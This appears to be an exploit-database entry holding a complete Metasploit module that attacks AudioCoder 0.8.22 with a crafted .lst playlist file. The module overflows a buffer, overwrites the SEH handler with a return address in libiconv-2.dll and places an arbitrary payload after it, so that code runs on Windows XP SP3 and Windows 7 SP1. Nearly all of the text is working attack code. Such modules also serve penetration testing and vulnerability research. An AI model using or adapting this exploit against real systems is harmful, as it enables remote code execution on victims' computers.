AudioCoder (.lst) - Buffer Overflow (msf) Exploit

:
02.07.2013
:
AudioCoder 0.8.22
:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'AudioCoder .lst Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
occurs when adding an .lst, allowing arbitrary code execution with the privileges
of the user running AudioCoder. This module has been tested successfully on
AudioCoder 0.8.22 over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'onying', # Vulnerability discovery and PoC
'Asesino04' # Metasploit module
],
'References' =>
[
[ 'OSVDB', 'N/A' ],
[ 'EDB', '26448' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 6596,
'BadChars' => "\x00\x5c\x40\x0d\x0a",
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'AudioCoder 0.8.22 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x66011b56, # libiconv-2.dll
'Offset' => 765
}
]
],
'Privileged' => false,
'DisclosureDate' => 'juin 01 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
], self.class)

end

def exploit
buffer = "http://"
buffer << rand_text(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded

file_create(buffer)
end
end